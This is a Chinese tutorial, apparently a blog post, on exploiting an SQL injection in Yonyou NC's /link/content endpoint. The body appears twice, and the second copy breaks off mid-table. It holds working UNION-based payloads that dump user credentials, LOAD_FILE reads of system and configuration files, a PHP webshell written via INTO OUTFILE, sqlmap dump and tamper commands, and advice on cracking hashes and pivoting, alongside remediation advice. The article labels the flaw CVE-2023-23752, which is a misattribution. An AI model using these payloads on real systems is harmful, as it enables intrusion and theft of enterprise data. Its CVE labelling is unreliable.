1. 项目概述与背景最近在整理一些企业级应用的历史漏洞时用友NC的/link/content接口SQL注入漏洞对应CVE-2023-23752是一个绕不开的典型案例。这个漏洞之所以值得拿出来单独聊聊不仅仅是因为它影响的是国内广泛使用的ERP系统更因为它是一个典型的、由于参数拼接不当导致的“二次注入”场景其利用链和修复思路对理解企业应用安全有很好的参考价值。很多刚入门安全测试的朋友可能对SQL注入的理解还停留在DVWA靶场里那种简单的id1 and 11--阶段觉得在实际复杂的业务系统里很难遇到。但这个案例恰恰说明即便是在成熟的大型商业软件中由于历史代码、第三方组件或特定功能模块的疏忽高危漏洞依然存在。今天我就以一个从业者的视角带大家完整地走一遍这个漏洞的复现与分析过程重点不是教你如何“攻击”而是理解漏洞的成因、挖掘的思路以及防御的关键在哪里。简单来说这个漏洞存在于用友NC一个面向大型企业、集团型企业的管理软件的某个服务接口中。攻击者可以通过构造特定的HTTP请求向/link/content这个路径传递恶意参数最终在服务器后端数据库执行非授权的SQL命令。成功利用后攻击者可以读取、修改甚至删除数据库中的敏感信息比如企业的人员档案、财务数据、供应链信息等危害等级非常高。复现这个漏洞你需要一个测试环境可以是官方提供的试用版、历史版本搭建的测试系统或者合规授权的渗透测试环境一些基础的Web漏洞测试工具如Burp Suite以及对HTTP协议和SQL语法有基本的了解。下面我们就从环境准备开始一步步拆解。2. 漏洞环境搭建与核心原理剖析2.1 测试环境搭建要点要复现漏洞首先得有一个“靶子”。对于用友NC这类商业软件我们强烈建议在完全隔离的虚拟机或内部网络环境中进行。你可以从用友官方或一些合规的渠道获取到历史版本的安装包例如受该漏洞影响的某个特定版本。安装过程可能比较繁琐涉及Java环境、中间件如Tomcat、WebLogic和数据库通常是Oracle或SQL Server的配置。注意所有漏洞复现活动必须在合法、授权的前提下进行。严禁对任何未授权的生产系统或网络进行测试。建议在自己的虚拟机VMware或VirtualBox中搭建测试环境并确保该环境与互联网及其他内部网络物理隔离。搭建过程有几个关键点容易踩坑JDK版本用友NC对JDK版本有严格要求通常需要特定的1.7或1.8版本并且需要正确配置环境变量。版本不匹配可能导致服务无法启动。中间件配置部署War包时需要注意中间件的server.xml或相关配置文件中连接器Connector的URIEncoding要设置为UTF-8否则可能出现中文乱码影响后续Payload的构造和传输。数据库初始化安装过程中会要求初始化数据库请务必记住你设置的系统管理员账号密码以及数据库连接信息后续的漏洞利用可能会用到这些信息来验证成果。服务启动顺序确保数据库服务先启动然后启动中间件服务。用友NC的控制台或管理页面启动后通过浏览器访问其Web端口如http://your-ip:8080能正常看到登录界面说明环境基本就绪。2.2 漏洞核心原理参数拼接与二次解码这个漏洞的根源在于/link/content接口通常用于处理一些内容链接或跳转逻辑对用户输入的参数link处理不当。我们来看一下漏洞发生的简化逻辑后端Java代码可能类似于这样这是根据漏洞表现反推的伪代码String userInput request.getParameter(link); // 可能经过了一层URL解码 userInput URLDecoder.decode(userInput, UTF-8); // 然后直接将用户输入拼接进SQL语句 String sql SELECT * FROM some_table WHERE link userInput ; Statement stmt connection.createStatement(); ResultSet rs stmt.executeQuery(sql);问题出在哪里缺乏预编译PreparedStatement最理想的防御方式是使用参数化查询PreparedStatement将SQL逻辑与数据分离。但这里使用了最危险的字符串拼接方式。错误的过滤或编码位置开发者可能认为只要对输入进行HTML编码或简单的转义就能防住注入。但SQL注入的防御必须在数据即将进入SQL指令时进行。如果在业务逻辑层做了转义但数据在后续的数据库操作层又被错误地还原或拼接就会导致防御失效。二次解码触发漏洞这是本漏洞的一个关键点。攻击者提交的Payload是经过URL编码的例如单引号被编码为%27。Web服务器或应用框架在接收到请求后可能会自动进行一次URL解码将%27还原为。如果后端代码自己又手动调用了一次URLDecoder.decode()就会进行第二次解码。如果第一次解码后程序对单引号进行了转义比如变成\但第二次解码的对象是原始编码字符串%27那么转义符\和%27就被拆散了%27被再次解码为裸的单引号从而绕过了转义成功闭合了SQL语句中的字符串。理解这个“二次解码”的绕过姿势非常重要。它告诉我们安全处理不是一个孤立的点而是一个贯穿数据流始终的链条任何一环的疏忽都可能导致前功尽弃。3. 漏洞手工复现与利用链分析3.1 初步探测与注入点确认首先我们需要找到存在漏洞的接口。根据公开信息漏洞路径是/link/content。我们用浏览器或Burp Suite访问测试环境的这个地址例如http://192.168.1.100:8080/link/content通常这个接口需要传递参数。我们尝试添加一个link参数并观察响应。http://192.168.1.100:8080/link/content?linktest如果页面返回正常可能是空白、错误页或某些默认内容说明接口存在。接下来就是经典的SQL注入探测步骤触发错误提交一个单引号观察是否返回数据库错误信息如MySQL的“You have an error in your SQL syntax”、Oracle的“ORA-xxxxx”、SQL Server的“Unclosed quotation mark”。这能快速判断是否存在注入点。http://192.168.1.100:8080/link/content?linktest逻辑判断如果错误信息被屏蔽我们可以使用逻辑真/假测试。例如真条件linktest AND 11等价于linktest AND 11 --(注释掉后面)假条件linktest AND 12等价于linktest AND 12 --分别请求这两个链接观察页面返回内容是否有差异。如果真条件返回正常页面假条件返回错误或空白则基本确认存在字符型注入。考虑编码问题由于前面提到的二次解码可能性我们直接提交单引号可能被转义。因此更稳妥的方式是提交URL编码后的单引号%27。http://192.168.1.100:8080/link/content?linktest%27实操心得在实际测试中Burp Suite的Repeater模块是你的最佳伙伴。你可以方便地修改请求、发送、对比响应。重点关注响应内容的长度Length、状态码Status和HTML正文的差异。有时差异很细微可能只是一个单词、一个标签的缺失需要仔细比对。3.2 手工注入获取信息确认是字符型注入后我们可以尝试获取数据库信息。这里以MySQL数据库为例用友NC也常用Oracle语法需调整。判断列数使用ORDER BY子句。ORDER BY 1表示按第一列排序如果该列存在页面正常如果数字超过了实际列数数据库会报错。我们递增数字直到出错。http://192.168.1.100:8080/link/content?linktest%27%20ORDER%20BY%205--%20%20是空格--是注释符后面跟一个空格。假设ORDER BY 5出错ORDER BY 4正常说明当前查询结果有4列。探测显错位使用UNION SELECT联合查询前提是前后查询的列数必须一致。我们利用上一步得到的列数例如4列。http://192.168.1.100:8080/link/content?linktest%27%20UNION%20SELECT%201,2,3,4--%20观察页面看原本显示数据的地方是否被我们插入的数字1,2,3,4所替换。被替换的位置就是我们可以用来显示数据库查询结果的“显错位”。假设数字2和3在页面上显示出来了。获取基础信息利用显错位我们可以替换数字为数据库函数。获取数据库版本和用户...UNION SELECT 1,version(),user(),4--获取当前数据库名...UNION SELECT 1,database(),3,4--枚举表名和列名在MySQL中可以通过查询information_schema数据库来获取元数据。获取所有表名限制前10条...UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schemadatabase() LIMIT 0,1--依次修改LIMIT 0,1为LIMIT 1,1、LIMIT 2,1...来遍历表。寻找可能存放敏感信息的表如nc_user、sm_user、bd_psndoc人员、ar_ap_bill应收应付单据等。获取指定表例如sm_user的列名...UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_schemadatabase() AND table_namesm_user LIMIT 0,1--同样通过修改LIMIT参数遍历。提取敏感数据知道了表名和列名例如sm_user表有user_code,user_password,user_name列就可以直接查询数据了。...UNION SELECT 1,concat(user_code,:,user_password),user_name,4 FROM sm_user LIMIT 0,1--这样就能把用户名和密码可能是哈希值一起查询出来。注意事项用友NC的密码字段很可能不是明文而是经过MD5或SHA1等哈希算法加密甚至可能加盐。直接获取到哈希值后需要进行破解如使用彩虹表、碰撞才能得到明文密码。此外一些关键业务表的数据量可能很大直接SELECT *可能导致响应超时或数据库负载过高在测试时最好加上LIMIT子句。3.3 利用SQLMap进行自动化验证手工注入能帮助我们深入理解原理但对于快速验证和更复杂的利用如文件读写、命令执行自动化工具更高效。SQLMap是首选。基本检测将含有link参数的请求保存为req.txt文件或直接使用-u参数。sqlmap -u http://192.168.1.100:8080/link/content?linktest --batch--batch参数会让SQLMap以非交互模式运行自动选择默认选项。指定参数和技巧如果基本检测不出可能需要指定数据库类型、注入技术或处理一些WAF。sqlmap -u http://192.168.1.100:8080/link/content?linktest --dbmsmysql --level3 --risk2 --batch--dbmsmysql指定后端数据库为MySQL加速检测。--level3提高测试等级会检测Cookie、User-Agent等头的注入。--risk2提高风险等级会使用更多可能不稳定的Payload如基于时间的盲注。获取数据确认注入点后可以枚举数据。# 枚举所有数据库 sqlmap -u http://192.168.1.100:8080/link/content?linktest --dbs --batch # 枚举指定数据库如ncdb的所有表 sqlmap -u http://192.168.1.100:8080/link/content?linktest -D ncdb --tables --batch # 导出指定表如sm_user的所有数据 sqlmap -u http://192.168.1.100:8080/link/content?linktest -D ncdb -T sm_user --dump --batch应对编码与WAF对于本例可能存在的二次解码SQLMap的--tamper脚本可以帮我们自动编码Payload。例如使用charencode.py脚本。sqlmap -u http://192.168.1.100:8080/link/content?linktest --tampercharencode --batch如果遇到简单的WAF还可以尝试space2comment、between等tamper脚本进行绕过。实操心得不要完全依赖自动化工具。先用手工方式确认漏洞存在的基本特征如布尔盲注的真假回显再用SQLMap进行深度利用。同时时刻关注Burp Suite中SQLMap代理的流量观察它发送的Payload这是学习各种绕过技巧的绝佳机会。在测试企业应用时注意控制请求频率避免触发系统的风控规则导致IP被封锁。4. 漏洞深度利用与后续渗透思路成功注入并获取数据库信息只是第一步。在授权的渗透测试中我们的目标是评估漏洞的最大危害。4.1 从数据库到系统权限如果数据库权限足够高例如是root用户或具有FILE_PRIV权限在MySQL中可以进行文件读写操作这通常是getshell的关键。读取服务器文件尝试读取系统配置文件、Web应用源码等。...UNION SELECT 1,LOAD_FILE(/etc/passwd),3,4--或者读取用友NC的Web配置文件可能包含数据库密码...UNION SELECT 1,LOAD_FILE(/usr/local/tomcat/webapps/nc/WEB-INF/classes/jdbc.properties),3,4--写入WebShell如果知道Web应用的绝对路径并且数据库有写权限可以尝试写入一个一句话木马。...UNION SELECT 1,?php eval($_POST[cmd]);?,3,4 INTO OUTFILE /var/www/html/shell.php--但是这条路通常很难走通因为secure_file_privMySQL的该系统变量可能限制了文件读写的目录。权限问题Web进程用户如www-data、tomcat可能没有对目标目录的写权限。路径未知Web应用的绝对路径不容易猜准。4.2 利用获取的凭证进行横向移动从数据库里拖出来的用户密码哈希值往往是更有价值的突破口。密码破解使用工具如hashcat或john对获取的密码哈希进行破解。用友NC早期版本的密码可能是简单的MD5后期可能使用了更复杂的算法。如果破解出明文密码尤其是管理员密码就可以直接登录系统后台。尝试默认口令和弱口令除了破解很多企业运维会使用默认密码或弱密码。用友NC可能存在默认的后台账号或者从其他表如员工表中获取的账号密码可能在OA、邮箱等系统通用形成“撞库”。登录后台寻找进一步漏洞成功登录用友NC后台后视野就完全不同了。你可以数据泄露直接浏览、导出所有业务模块的敏感数据。功能点测试后台通常有文件上传、报表导出、数据同步等功能这些地方可能隐藏着新的漏洞比如上传漏洞可以导致直接getshell。供应链攻击跳板用友NC作为核心ERP往往与内部其他系统如HR、CRM、SCM有接口。获取NC权限后可能以此为跳板攻击内网更核心的系统。4.3 漏洞修复与防御建议分析复现漏洞的最终目的是为了更好地修复和防御。针对这个/link/content的SQL注入我们可以从多个层面进行加固代码层修复根本解决使用参数化查询PreparedStatement这是防御SQL注入最有效、最根本的方法。将上述漏洞代码改为String sql SELECT * FROM some_table WHERE link?; PreparedStatement pstmt connection.prepareStatement(sql); pstmt.setString(1, userInput); // 安全地设置参数 ResultSet rs pstmt.executeQuery();这样无论用户输入什么都会被数据库驱动当作数据而非指令处理。严格的输入验证在业务逻辑允许的范围内对link参数进行白名单验证。例如如果link应该是数字ID或特定格式的URL就用正则表达式严格匹配不匹配的直接拒绝。最小化数据库权限连接数据库的应用程序账号不应该拥有DBA或ALL PRIVILEGES权限。遵循最小权限原则只授予其执行必要操作如SELECT、INSERT on specific tables的权限。架构与运维层加固WAFWeb应用防火墙在应用前端部署WAF可以拦截常见的SQL注入攻击模式。但WAF是缓解措施不能替代代码修复。定期安全扫描与代码审计对线上系统进行定期的漏洞扫描对新增代码进行安全审计确保同类问题不再出现。网络隔离将数据库服务器部署在内网与Web应用服务器隔离并通过防火墙严格限制访问来源IP即使Web应用被攻破攻击者也无法直接连接数据库。日志审计与监控开启数据库和Web服务器的详细日志监控异常的SQL查询语句如包含UNION、SELECT多个表、LOAD_FILE等关键字和访问模式便于及时发现入侵行为。这个漏洞的修复用友官方肯定会发布补丁。对于企业用户而言最紧要的是及时关注官方安全公告并尽快升级到已修复的版本。对于开发者而言这个案例是一次深刻的教育安全无小事任何一个看似不起眼的参数拼接都可能成为整个系统沦陷的起点。5. 常见问题与排查技巧实录在实际复现和后续的渗透测试中你可能会遇到各种各样的问题。这里记录一些我踩过的坑和解决方法。5.1 环境搭建与启动问题问题现象可能原因排查与解决思路NC安装程序启动失败提示Java错误1. JDK版本不兼容。2. JAVA_HOME环境变量未正确设置。3. 系统缺少32位/64位运行时库。1. 检查用友NC官方文档对JDK版本的要求安装指定版本如jdk1.8.0_181。2. 确保JAVA_HOME指向正确的JDK安装目录且Path中包含%JAVA_HOME%\bin。3. 对于Windows环境尝试以管理员身份运行安装程序。中间件Tomcat启动后访问NC页面报404或500错误1. War包未正确部署。2. 数据库连接失败。3. 内存配置不足。1. 检查Tomcat的webapps目录下是否有NC的应用文件夹或检查管理界面部署状态。2. 查看Tomcat的catalina.out或logs目录下的日志文件寻找数据库连接错误信息核对jdbc.properties中的连接串、用户名、密码。3. 调整Tomcat的启动脚本如catalina.sh或setenv.sh增加JVM堆内存参数-Xms1024m -Xmx4096m。登录界面正常但输入账号密码后无法登录1. 数据库用户表未初始化或数据有问题。2. 密码加密方式不匹配。3. 系统时间或时区设置错误。1. 尝试使用安装时设置的默认管理员账号如admin/空密码或admin/admin。2. 直接查询数据库sm_user表确认密码字段的哈希值是否存在。对比登录时系统生成的哈希值与数据库存储的是否一致。3. 检查操作系统和数据库的时区设置是否一致。5.2 漏洞复现与利用问题问题现象可能原因排查与解决思路提交单引号或%27后页面无变化返回统一错误页或空白。1. 漏洞已被修复。2. 注入点不是link参数或是其他参数。3. 存在WAF或基础防护拦截了特殊字符。4. 注入类型不是字符型可能是数字型、搜索型等。1. 确认测试的NC版本是否在受影响范围内。2. 尝试对请求中的所有参数包括Cookie、User-Agent进行Fuzz测试寻找其他注入点。3. 使用Burp Suite的Intruder模块以极慢的速度发送Payload或尝试使用注释符/**/代替空格使用代替AND等绕过技巧。4. 尝试数字型注入Payloadlink1 AND 11和link1 AND 12。手工注入时UNION SELECT后页面显示异常或报错但ORDER BY测试正常。1. 前后查询的列数不一致。2. 前后查询对应列的数据类型不兼容。3. 显错位判断错误。1. 再次仔细确认ORDER BY测试出的列数N确保UNION SELECT后面跟了N个字段。2. 将UNION SELECT后面的数字替换为NULL因为NULL可以匹配任何数据类型。例如UNION SELECT NULL,NULL,NULL,NULL--。3. 尝试在UNION SELECT的每个位置都放置一个不同的标记如a,1,version观察哪个位置的内容最终显示在页面上。SQLMap检测不到注入点或检测结果不稳定。1. 注入点是盲注Boolean Blind/Time BlindSQLMap默认级别可能未检测。2. 存在复杂的编码或过滤SQLMap的Payload被变形。3. 网络不稳定或目标有速率限制。1. 在SQLMap中指定更高的检测级别和风险等级--level5 --risk3。对于时间盲注可以显式指定--techniqueT。2. 使用--tamper参数尝试多个脚本组合如--tamperspace2comment,charencode。观察Burp中SQLMap的请求看Payload是否被正确发送。3. 使用--delay参数设置请求间隔如--delay2避免触发目标系统的防护机制。成功注入但LOAD_FILE或INTO OUTFILE失败。1. 数据库用户无FILE权限。2.secure_file_priv系统变量限制了目录。3. 目标路径不存在或不可写。1. 通过UNION SELECT 1,user(),3,4--查看当前数据库用户并通过SELECT file_priv FROM mysql.user WHERE usercurrent_user需高权限查看是否有文件权限。2. 执行SHOW VARIABLES LIKE secure_file_priv查看允许读写的目录。3. 尝试写入Web根目录下的临时文件或通过报错信息、phpinfo页面等搜集Web绝对路径。5.3 实战中的技巧与思考信息收集是王道在测试一个像用友NC这样复杂的企业应用前花时间进行信息收集至关重要。包括但不限于版本号从登录页、JS文件、错误信息中获取、中间件类型和版本、已知的默认路径和文件、相关的技术栈Struts2? Spring?。这些信息能帮你快速定位可能存在的历史漏洞和测试入口。不要忽视“不起眼”的功能点/link/content这种看似边缘的接口往往是安全测试的盲区。开发人员可能认为它不重要从而放松了安全编码要求。在测试时要重点关注文件上传、报表导出/打印、数据导入、短信/邮件发送、内容预览这类“输入-输出”功能。理解业务逻辑漏洞SQL注入是技术漏洞但结合业务逻辑能产生更大危害。例如通过注入修改某个审批流程的状态字段可能实现越权审批。在测试时要思考“如果我能修改/读取这张表的数据在业务上意味着什么”保持工具链的更新与熟悉Burp Suite、SQLMap、Nmap、Metasploit等工具是安全人员的“瑞士军刀”。不仅要会用还要理解其原理能看懂它发出的每一个请求能根据实际情况编写自己的插件或脚本如Burp的Intruder Payload处理器、SQLMap的tamper脚本。复现一个已知漏洞远不止是“跑通POC”那么简单。从环境搭建中理解系统架构从漏洞分析中学习编码缺陷从利用过程中思考防御纵深从问题排查中积累实战经验——这才是每一次复现练习的真正价值所在。对于企业安全建设者这个案例提醒我们资产梳理、漏洞扫描、代码审计、权限管理、日志监控每一个环节都不可或缺。
用友NC /link/content接口SQL注入漏洞(CVE-2023-23752)复现与深度分析
发布时间:2026/6/26 15:17:43
1. 项目概述与背景最近在整理一些企业级应用的历史漏洞时用友NC的/link/content接口SQL注入漏洞对应CVE-2023-23752是一个绕不开的典型案例。这个漏洞之所以值得拿出来单独聊聊不仅仅是因为它影响的是国内广泛使用的ERP系统更因为它是一个典型的、由于参数拼接不当导致的“二次注入”场景其利用链和修复思路对理解企业应用安全有很好的参考价值。很多刚入门安全测试的朋友可能对SQL注入的理解还停留在DVWA靶场里那种简单的id1 and 11--阶段觉得在实际复杂的业务系统里很难遇到。但这个案例恰恰说明即便是在成熟的大型商业软件中由于历史代码、第三方组件或特定功能模块的疏忽高危漏洞依然存在。今天我就以一个从业者的视角带大家完整地走一遍这个漏洞的复现与分析过程重点不是教你如何“攻击”而是理解漏洞的成因、挖掘的思路以及防御的关键在哪里。简单来说这个漏洞存在于用友NC一个面向大型企业、集团型企业的管理软件的某个服务接口中。攻击者可以通过构造特定的HTTP请求向/link/content这个路径传递恶意参数最终在服务器后端数据库执行非授权的SQL命令。成功利用后攻击者可以读取、修改甚至删除数据库中的敏感信息比如企业的人员档案、财务数据、供应链信息等危害等级非常高。复现这个漏洞你需要一个测试环境可以是官方提供的试用版、历史版本搭建的测试系统或者合规授权的渗透测试环境一些基础的Web漏洞测试工具如Burp Suite以及对HTTP协议和SQL语法有基本的了解。下面我们就从环境准备开始一步步拆解。2. 漏洞环境搭建与核心原理剖析2.1 测试环境搭建要点要复现漏洞首先得有一个“靶子”。对于用友NC这类商业软件我们强烈建议在完全隔离的虚拟机或内部网络环境中进行。你可以从用友官方或一些合规的渠道获取到历史版本的安装包例如受该漏洞影响的某个特定版本。安装过程可能比较繁琐涉及Java环境、中间件如Tomcat、WebLogic和数据库通常是Oracle或SQL Server的配置。注意所有漏洞复现活动必须在合法、授权的前提下进行。严禁对任何未授权的生产系统或网络进行测试。建议在自己的虚拟机VMware或VirtualBox中搭建测试环境并确保该环境与互联网及其他内部网络物理隔离。搭建过程有几个关键点容易踩坑JDK版本用友NC对JDK版本有严格要求通常需要特定的1.7或1.8版本并且需要正确配置环境变量。版本不匹配可能导致服务无法启动。中间件配置部署War包时需要注意中间件的server.xml或相关配置文件中连接器Connector的URIEncoding要设置为UTF-8否则可能出现中文乱码影响后续Payload的构造和传输。数据库初始化安装过程中会要求初始化数据库请务必记住你设置的系统管理员账号密码以及数据库连接信息后续的漏洞利用可能会用到这些信息来验证成果。服务启动顺序确保数据库服务先启动然后启动中间件服务。用友NC的控制台或管理页面启动后通过浏览器访问其Web端口如http://your-ip:8080能正常看到登录界面说明环境基本就绪。2.2 漏洞核心原理参数拼接与二次解码这个漏洞的根源在于/link/content接口通常用于处理一些内容链接或跳转逻辑对用户输入的参数link处理不当。我们来看一下漏洞发生的简化逻辑后端Java代码可能类似于这样这是根据漏洞表现反推的伪代码String userInput request.getParameter(link); // 可能经过了一层URL解码 userInput URLDecoder.decode(userInput, UTF-8); // 然后直接将用户输入拼接进SQL语句 String sql SELECT * FROM some_table WHERE link userInput ; Statement stmt connection.createStatement(); ResultSet rs stmt.executeQuery(sql);问题出在哪里缺乏预编译PreparedStatement最理想的防御方式是使用参数化查询PreparedStatement将SQL逻辑与数据分离。但这里使用了最危险的字符串拼接方式。错误的过滤或编码位置开发者可能认为只要对输入进行HTML编码或简单的转义就能防住注入。但SQL注入的防御必须在数据即将进入SQL指令时进行。如果在业务逻辑层做了转义但数据在后续的数据库操作层又被错误地还原或拼接就会导致防御失效。二次解码触发漏洞这是本漏洞的一个关键点。攻击者提交的Payload是经过URL编码的例如单引号被编码为%27。Web服务器或应用框架在接收到请求后可能会自动进行一次URL解码将%27还原为。如果后端代码自己又手动调用了一次URLDecoder.decode()就会进行第二次解码。如果第一次解码后程序对单引号进行了转义比如变成\但第二次解码的对象是原始编码字符串%27那么转义符\和%27就被拆散了%27被再次解码为裸的单引号从而绕过了转义成功闭合了SQL语句中的字符串。理解这个“二次解码”的绕过姿势非常重要。它告诉我们安全处理不是一个孤立的点而是一个贯穿数据流始终的链条任何一环的疏忽都可能导致前功尽弃。3. 漏洞手工复现与利用链分析3.1 初步探测与注入点确认首先我们需要找到存在漏洞的接口。根据公开信息漏洞路径是/link/content。我们用浏览器或Burp Suite访问测试环境的这个地址例如http://192.168.1.100:8080/link/content通常这个接口需要传递参数。我们尝试添加一个link参数并观察响应。http://192.168.1.100:8080/link/content?linktest如果页面返回正常可能是空白、错误页或某些默认内容说明接口存在。接下来就是经典的SQL注入探测步骤触发错误提交一个单引号观察是否返回数据库错误信息如MySQL的“You have an error in your SQL syntax”、Oracle的“ORA-xxxxx”、SQL Server的“Unclosed quotation mark”。这能快速判断是否存在注入点。http://192.168.1.100:8080/link/content?linktest逻辑判断如果错误信息被屏蔽我们可以使用逻辑真/假测试。例如真条件linktest AND 11等价于linktest AND 11 --(注释掉后面)假条件linktest AND 12等价于linktest AND 12 --分别请求这两个链接观察页面返回内容是否有差异。如果真条件返回正常页面假条件返回错误或空白则基本确认存在字符型注入。考虑编码问题由于前面提到的二次解码可能性我们直接提交单引号可能被转义。因此更稳妥的方式是提交URL编码后的单引号%27。http://192.168.1.100:8080/link/content?linktest%27实操心得在实际测试中Burp Suite的Repeater模块是你的最佳伙伴。你可以方便地修改请求、发送、对比响应。重点关注响应内容的长度Length、状态码Status和HTML正文的差异。有时差异很细微可能只是一个单词、一个标签的缺失需要仔细比对。3.2 手工注入获取信息确认是字符型注入后我们可以尝试获取数据库信息。这里以MySQL数据库为例用友NC也常用Oracle语法需调整。判断列数使用ORDER BY子句。ORDER BY 1表示按第一列排序如果该列存在页面正常如果数字超过了实际列数数据库会报错。我们递增数字直到出错。http://192.168.1.100:8080/link/content?linktest%27%20ORDER%20BY%205--%20%20是空格--是注释符后面跟一个空格。假设ORDER BY 5出错ORDER BY 4正常说明当前查询结果有4列。探测显错位使用UNION SELECT联合查询前提是前后查询的列数必须一致。我们利用上一步得到的列数例如4列。http://192.168.1.100:8080/link/content?linktest%27%20UNION%20SELECT%201,2,3,4--%20观察页面看原本显示数据的地方是否被我们插入的数字1,2,3,4所替换。被替换的位置就是我们可以用来显示数据库查询结果的“显错位”。假设数字2和3在页面上显示出来了。获取基础信息利用显错位我们可以替换数字为数据库函数。获取数据库版本和用户...UNION SELECT 1,version(),user(),4--获取当前数据库名...UNION SELECT 1,database(),3,4--枚举表名和列名在MySQL中可以通过查询information_schema数据库来获取元数据。获取所有表名限制前10条...UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schemadatabase() LIMIT 0,1--依次修改LIMIT 0,1为LIMIT 1,1、LIMIT 2,1...来遍历表。寻找可能存放敏感信息的表如nc_user、sm_user、bd_psndoc人员、ar_ap_bill应收应付单据等。获取指定表例如sm_user的列名...UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_schemadatabase() AND table_namesm_user LIMIT 0,1--同样通过修改LIMIT参数遍历。提取敏感数据知道了表名和列名例如sm_user表有user_code,user_password,user_name列就可以直接查询数据了。...UNION SELECT 1,concat(user_code,:,user_password),user_name,4 FROM sm_user LIMIT 0,1--这样就能把用户名和密码可能是哈希值一起查询出来。注意事项用友NC的密码字段很可能不是明文而是经过MD5或SHA1等哈希算法加密甚至可能加盐。直接获取到哈希值后需要进行破解如使用彩虹表、碰撞才能得到明文密码。此外一些关键业务表的数据量可能很大直接SELECT *可能导致响应超时或数据库负载过高在测试时最好加上LIMIT子句。3.3 利用SQLMap进行自动化验证手工注入能帮助我们深入理解原理但对于快速验证和更复杂的利用如文件读写、命令执行自动化工具更高效。SQLMap是首选。基本检测将含有link参数的请求保存为req.txt文件或直接使用-u参数。sqlmap -u http://192.168.1.100:8080/link/content?linktest --batch--batch参数会让SQLMap以非交互模式运行自动选择默认选项。指定参数和技巧如果基本检测不出可能需要指定数据库类型、注入技术或处理一些WAF。sqlmap -u http://192.168.1.100:8080/link/content?linktest --dbmsmysql --level3 --risk2 --batch--dbmsmysql指定后端数据库为MySQL加速检测。--level3提高测试等级会检测Cookie、User-Agent等头的注入。--risk2提高风险等级会使用更多可能不稳定的Payload如基于时间的盲注。获取数据确认注入点后可以枚举数据。# 枚举所有数据库 sqlmap -u http://192.168.1.100:8080/link/content?linktest --dbs --batch # 枚举指定数据库如ncdb的所有表 sqlmap -u http://192.168.1.100:8080/link/content?linktest -D ncdb --tables --batch # 导出指定表如sm_user的所有数据 sqlmap -u http://192.168.1.100:8080/link/content?linktest -D ncdb -T sm_user --dump --batch应对编码与WAF对于本例可能存在的二次解码SQLMap的--tamper脚本可以帮我们自动编码Payload。例如使用charencode.py脚本。sqlmap -u http://192.168.1.100:8080/link/content?linktest --tampercharencode --batch如果遇到简单的WAF还可以尝试space2comment、between等tamper脚本进行绕过。实操心得不要完全依赖自动化工具。先用手工方式确认漏洞存在的基本特征如布尔盲注的真假回显再用SQLMap进行深度利用。同时时刻关注Burp Suite中SQLMap代理的流量观察它发送的Payload这是学习各种绕过技巧的绝佳机会。在测试企业应用时注意控制请求频率避免触发系统的风控规则导致IP被封锁。4. 漏洞深度利用与后续渗透思路成功注入并获取数据库信息只是第一步。在授权的渗透测试中我们的目标是评估漏洞的最大危害。4.1 从数据库到系统权限如果数据库权限足够高例如是root用户或具有FILE_PRIV权限在MySQL中可以进行文件读写操作这通常是getshell的关键。读取服务器文件尝试读取系统配置文件、Web应用源码等。...UNION SELECT 1,LOAD_FILE(/etc/passwd),3,4--或者读取用友NC的Web配置文件可能包含数据库密码...UNION SELECT 1,LOAD_FILE(/usr/local/tomcat/webapps/nc/WEB-INF/classes/jdbc.properties),3,4--写入WebShell如果知道Web应用的绝对路径并且数据库有写权限可以尝试写入一个一句话木马。...UNION SELECT 1,?php eval($_POST[cmd]);?,3,4 INTO OUTFILE /var/www/html/shell.php--但是这条路通常很难走通因为secure_file_privMySQL的该系统变量可能限制了文件读写的目录。权限问题Web进程用户如www-data、tomcat可能没有对目标目录的写权限。路径未知Web应用的绝对路径不容易猜准。4.2 利用获取的凭证进行横向移动从数据库里拖出来的用户密码哈希值往往是更有价值的突破口。密码破解使用工具如hashcat或john对获取的密码哈希进行破解。用友NC早期版本的密码可能是简单的MD5后期可能使用了更复杂的算法。如果破解出明文密码尤其是管理员密码就可以直接登录系统后台。尝试默认口令和弱口令除了破解很多企业运维会使用默认密码或弱密码。用友NC可能存在默认的后台账号或者从其他表如员工表中获取的账号密码可能在OA、邮箱等系统通用形成“撞库”。登录后台寻找进一步漏洞成功登录用友NC后台后视野就完全不同了。你可以数据泄露直接浏览、导出所有业务模块的敏感数据。功能点测试后台通常有文件上传、报表导出、数据同步等功能这些地方可能隐藏着新的漏洞比如上传漏洞可以导致直接getshell。供应链攻击跳板用友NC作为核心ERP往往与内部其他系统如HR、CRM、SCM有接口。获取NC权限后可能以此为跳板攻击内网更核心的系统。4.3 漏洞修复与防御建议分析复现漏洞的最终目的是为了更好地修复和防御。针对这个/link/content的SQL注入我们可以从多个层面进行加固代码层修复根本解决使用参数化查询PreparedStatement这是防御SQL注入最有效、最根本的方法。将上述漏洞代码改为String sql SELECT * FROM some_table WHERE link?; PreparedStatement pstmt connection.prepareStatement(sql); pstmt.setString(1, userInput); // 安全地设置参数 ResultSet rs pstmt.executeQuery();这样无论用户输入什么都会被数据库驱动当作数据而非指令处理。严格的输入验证在业务逻辑允许的范围内对link参数进行白名单验证。例如如果link应该是数字ID或特定格式的URL就用正则表达式严格匹配不匹配的直接拒绝。最小化数据库权限连接数据库的应用程序账号不应该拥有DBA或ALL PRIVILEGES权限。遵循最小权限原则只授予其执行必要操作如SELECT、INSERT on specific tables的权限。架构与运维层加固WAFWeb应用防火墙在应用前端部署WAF可以拦截常见的SQL注入攻击模式。但WAF是缓解措施不能替代代码修复。定期安全扫描与代码审计对线上系统进行定期的漏洞扫描对新增代码进行安全审计确保同类问题不再出现。网络隔离将数据库服务器部署在内网与Web应用服务器隔离并通过防火墙严格限制访问来源IP即使Web应用被攻破攻击者也无法直接连接数据库。日志审计与监控开启数据库和Web服务器的详细日志监控异常的SQL查询语句如包含UNION、SELECT多个表、LOAD_FILE等关键字和访问模式便于及时发现入侵行为。这个漏洞的修复用友官方肯定会发布补丁。对于企业用户而言最紧要的是及时关注官方安全公告并尽快升级到已修复的版本。对于开发者而言这个案例是一次深刻的教育安全无小事任何一个看似不起眼的参数拼接都可能成为整个系统沦陷的起点。5. 常见问题与排查技巧实录在实际复现和后续的渗透测试中你可能会遇到各种各样的问题。这里记录一些我踩过的坑和解决方法。5.1 环境搭建与启动问题问题现象可能原因排查与解决思路NC安装程序启动失败提示Java错误1. JDK版本不兼容。2. JAVA_HOME环境变量未正确设置。3. 系统缺少32位/64位运行时库。1. 